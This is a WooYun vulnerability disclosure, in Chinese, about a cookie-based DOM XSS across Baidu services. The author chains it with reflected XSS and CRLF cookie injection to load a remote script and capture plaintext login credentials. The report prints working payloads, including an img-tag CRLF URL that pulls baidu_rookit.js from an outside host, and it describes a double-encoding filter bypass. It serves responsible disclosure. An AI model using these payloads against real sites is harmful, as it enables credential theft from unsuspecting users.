漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0170146
漏洞标题:一个可大规模隐蔽窃取百度账号密码的漏洞(无需点击全线产品)
相关厂商:百度
漏洞作者: wolf
提交时间:2016-01-15 16:14
修复时间:2016-02-27 11:49
公开时间:2016-02-27 11:49
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-01-15: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开
简要描述:
xss rookit,百度基本所有核心业务均存在(百度贴吧,百度新闻,百度知道,百度百科,百度音乐等等等等),触发一次,全线中招。
详细说明:
在分析map.baidu.com时发现其代码会eval执行cookie PMS_JT的值
测试
添加PMS_JT的值为alert(1),访问成功执行,确定存在cookie来源的dom xss漏洞,可构造形成xss rookit。
在分析其他百度业务发现,这是一个通用的问题,基本所有的核心业务均存在这个问题。
如何体现危害呢,在http://wooyun.org/bugs/wooyun-2016-0167493已经描述,鉴于此漏洞还未公开
这里再重新验证一遍
先构造让其执行我们远端的js,方便测试。
修改PMS_JT的值为
或者
都可以
成功执行触发
首先要触发此漏洞的前提为能修改cookie的值,有2种漏洞组合可以触发此漏洞。
第一种为利用反射型xss
这里伏宸自动化渗透测试已找到多个baidu.com域下的xss漏洞,拿一个测试一下。
http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<img src=1 onerror=alert(1)>
先编写修改cookie js
baidu_test.js
构造访问
成功修改cookie值
打开tieba.baidu.com 成功执行,其他业务也均成功触发
继续构造,目标为窃取用户明文账号密码
首先分析其登录框
执行_.Module.use("common/widget/LoginDialog", ["", "userBar"])时将加载登录框
构造窃取代码
baidu_rookit.js
保存代码
form_save.php
打开登录测试,成功执行弹出登录框
成功截取到密码
使用反射型xss需被攻击者打开攻击链接,成功率与隐蔽性都不够,所以我们使用另一种漏洞来组合
第二种为crlf漏洞
这里伏宸自动化渗透测试平台也找到baidu.com域下多个crlf漏洞,拿一个测试
根据漏洞构造添加cookie测试
访问
http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:future=123123; domain=.baidu.com; path=/%0aa:
成功设置.baidu.com cookie,根域下所有子域名均可调用,所以只需激活一次,全线产品均可截取
构造加载截取脚本
成功设置,打开tieba.baidu.com 测试
发现无任何反应,为什么呢
再查看
原来//被过滤成/了,导致无法加载我们远端的js
如何绕过呢
我们可以用双重编码的方式绕过
构造
访问
成功加载执行我们的截取代码
因为crlf设置cookie为get请求,我们可以使用所有可以触发get请求的方式进行攻击,例如<img>标签
<img src="http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:">
测试访问
成功设置cookie
也就是说只要能插入访问外部网络资源的地方就可以插入攻击代码(图片,视频,flash等等),在受害者上网过程中不知不觉中就被窃取账号密码。
测试
例如DZ的论坛
发帖或回帖
插入图片,地址填
注:空格都要转换为%20
成功修改cookie
测试登录
成功截取到用户名以及明文密码信息
其不同业务登录框均有细微不同,以上测试截取代码仅为tieba.baidu.com测试,若要全线窃取需编写判断执行不同的窃取代码。
整理:攻击流程,在社交论坛,贴吧,空间等可添加外部资源的地方插入攻击代码(图片),受害者在正常使用论坛查看帖子或其他无意中触发攻击代码,触发后其下次登录百度旗下存在漏洞产品时用户名密码将会被截取发送至攻击者指定的地址中。
漏洞证明:
修复方案:
严记只要是用户可以控制的变量都是有危害的。
版权声明:转载请注明来源 wolf@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2016-01-15 22:46
厂商回复:
感谢您对百度安全的关注
最新状态:
暂无